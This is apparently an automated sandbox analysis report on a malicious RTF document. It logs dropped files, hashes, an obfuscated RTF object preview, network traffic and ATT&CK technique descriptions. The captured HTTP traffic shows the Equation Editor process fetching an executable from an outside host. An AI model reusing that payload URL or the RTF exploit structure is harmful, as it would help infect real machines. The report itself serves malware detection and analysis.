Preview:	L..................F.... .....=..3....=..3.....$.)..Q.......................)....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1.....hT...user.8......QK.XhT....&=....U...............A.l.b.u.s.....z.1.....hT...Desktop.d......QK.XhT...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.Q...0Vk\| .SECURI~1.RTF.........hT..hT.....r.....'...............S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...E.x.p.l.o.i.t...R.T.F.-.O.b.f.s.O.b.j.D.a.t...G.e.n...1.4.0.6.1...1.7.1.1.9...r.t.f.......................-...8...[............?J......C:\Users\..#...................\\141700\Users.user\Desktop\SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf.R.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...E.x.p.l.o.i.t...R.T.F.-.O.b.f.s.O.b.j.D.a.t...G.e.n...1.4.0.6.1...1.7.1.1.9...r.t.f.........:..,.LB.)...Ag.............

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [misc]
Category:	dropped
Size (bytes):	162
Entropy (8bit):	5.16107520570466
Encrypted:	false
SSDEEP:	3:bDuMJluscbcTahURVjSUxomxW9rbcTahURVjSUxov:bCVwTmojS6OrwTmojS6y
MD5:	5FCF0BC37C1B57FA9A878618892B01A3
SHA1:	6A671BAAFA42A8228C8010145596FAC796EE2596
SHA-256:	36D361CCB191EB864EEE1E1CF15593568DE0B386BF572A80E69D673F6CCE5EB6
SHA-512:	CD27BD42C4AE682966B1AB308862E15E6477E0472A947304CBAF6DE37B65B06399D59E1E136B00472704FA2EB086D69C4636DFC67A382609634C97B3D0AEEC7E
Malicious:	false
Reputation:	low
Preview:	[folders]..Templates.LNK=0..SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.LNK=0..[misc]..SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHH/cgQfmW+eMdln:vdsCkWtUb+8ll
MD5:	D9C8F93ADB8834E5883B5A8AAAC0D8D9
SHA1:	23684CCAA587C442181A92E722E15A685B2407B1
SHA-256:	116394FEAB201D23FD7A4D7F6B10669A4CBCE69AF3575D9C1E13E735D512FA11
SHA-512:	7742E1AC50ACB3B794905CFAE973FDBF16560A7B580B5CD6F27FEFE1CB3EF4AEC2538963535493DCC25F8F114E8708050EDF5F7D3D146DF47DA4B958F0526515
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.user..................................................A.l.b.u.s.............p........15..............25.............@35..............35.....z.......p45.....x...

C:\Users\user\Desktop\~$curiteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHH/cgQfmW+eMdln:vdsCkWtUb+8ll
MD5:	D9C8F93ADB8834E5883B5A8AAAC0D8D9
SHA1:	23684CCAA587C442181A92E722E15A685B2407B1
SHA-256:	116394FEAB201D23FD7A4D7F6B10669A4CBCE69AF3575D9C1E13E735D512FA11
SHA-512:	7742E1AC50ACB3B794905CFAE973FDBF16560A7B580B5CD6F27FEFE1CB3EF4AEC2538963535493DCC25F8F114E8708050EDF5F7D3D146DF47DA4B958F0526515
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.user..................................................A.l.b.u.s.............p........15..............25.............@35..............35.....z.......p45.....x...

Static File Info

General

File type:	Rich Text Format data, version 1
Entropy (8bit):	4.099315387397616
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf
File size:	3409
MD5:	815bb902aa778ff788f22db14b0053f3
SHA1:	fa03f2a12a3dfcb0661fc15d2bc7944f82b75fce
SHA256:	098cb30970dd2fc4982ffb4fad8e80ec615e677cf2756c5256c360b2c9f7f199
SHA512:	cd2a26b124527644e02a41727ac4e4e400adedf9df7a8e46772df5bd39bd82c06ce72efca67ace2775e9a3f5619baf993ad41fbe201b935ea24e7b67cfb4d9cc
SSDEEP:	96:lgv3KcettV7+NguC/KUV3xmXWVdEASXm1TcZP:K3etj7+NMyUhmSEPXJZP
TLSH:	896119F9974C8C86DB85A1F6D5523E260533FD0B4ADF44891577EDF3060B1AA4621C23
File Content Preview:	{\rtf1....{\\alignHR789253706 \:}.{\702430601\object84247890\objocx56176213\objw7945\objh7068{\\objdata403464{\*\aexpnd232922669 \bin0\.852343137661529059}.{\emspace776554102 \bin00000\.865859920413337107}.11792873020000000b0000006571556154696f4 \bin000

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	0000006Bh								no

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 7
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2023 07:35:38.542381048 CET	49181	80	192.168.2.22	209.59.191.114
Jan 16, 2023 07:35:38.671264887 CET	80	49181	209.59.191.114	192.168.2.22
Jan 16, 2023 07:35:38.671530962 CET	49181	80	192.168.2.22	209.59.191.114
Jan 16, 2023 07:35:38.672182083 CET	49181	80	192.168.2.22	209.59.191.114
Jan 16, 2023 07:35:38.800786018 CET	80	49181	209.59.191.114	192.168.2.22
Jan 16, 2023 07:35:38.801532984 CET	80	49181	209.59.191.114	192.168.2.22
Jan 16, 2023 07:35:38.801668882 CET	49181	80	192.168.2.22	209.59.191.114
Jan 16, 2023 07:35:40.802927971 CET	80	49181	209.59.191.114	192.168.2.22
Jan 16, 2023 07:35:40.802984953 CET	49181	80	192.168.2.22	209.59.191.114
Jan 16, 2023 07:35:41.235943079 CET	49181	80	192.168.2.22	209.59.191.114

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2023 07:35:38.374224901 CET	55275	53	192.168.2.22	8.8.8.8
Jan 16, 2023 07:35:38.511867046 CET	53	55275	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 16, 2023 07:35:38.374224901 CET	192.168.2.22	8.8.8.8	0xa6b1	Standard query (0)	barkersinn.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 16, 2023 07:35:38.511867046 CET	8.8.8.8	192.168.2.22	0xa6b1	No error (0)	barkersinn.net		209.59.191.114	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

barkersinn.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49181	209.59.191.114	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 16, 2023 07:35:38.672182083 CET	0	OUT	GET /wanda.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: barkersinn.net Connection: Keep-Alive
Jan 16, 2023 07:35:38.801532984 CET	1	IN	HTTP/1.1 403 Forbidden Date: Mon, 16 Jan 2023 06:35:38 GMT Server: Apache Content-Length: 318 Keep-Alive: timeout=2, max=500 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><p>Additionally, a 403 Forbiddenerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Statistics

Click to jump to process

Memory Usage

• WINWORD.EXE
• EQNEDT32.EXE
• EQNEDT32.EXE

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Behavior

• WINWORD.EXE
• EQNEDT32.EXE
• EQNEDT32.EXE

Click to jump to process

Target ID:	0
Start time:	07:35:20
Start date:	16/01/2023
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f7b0000
File size:	1423704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	07:35:21
Start date:	16/01/2023
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	5
Start time:	07:35:44
Start date:	16/01/2023
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

Exploits

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\Desktop\~$curiteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf

Static File Info

General

File Icon

Static RTF Info

Objects

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf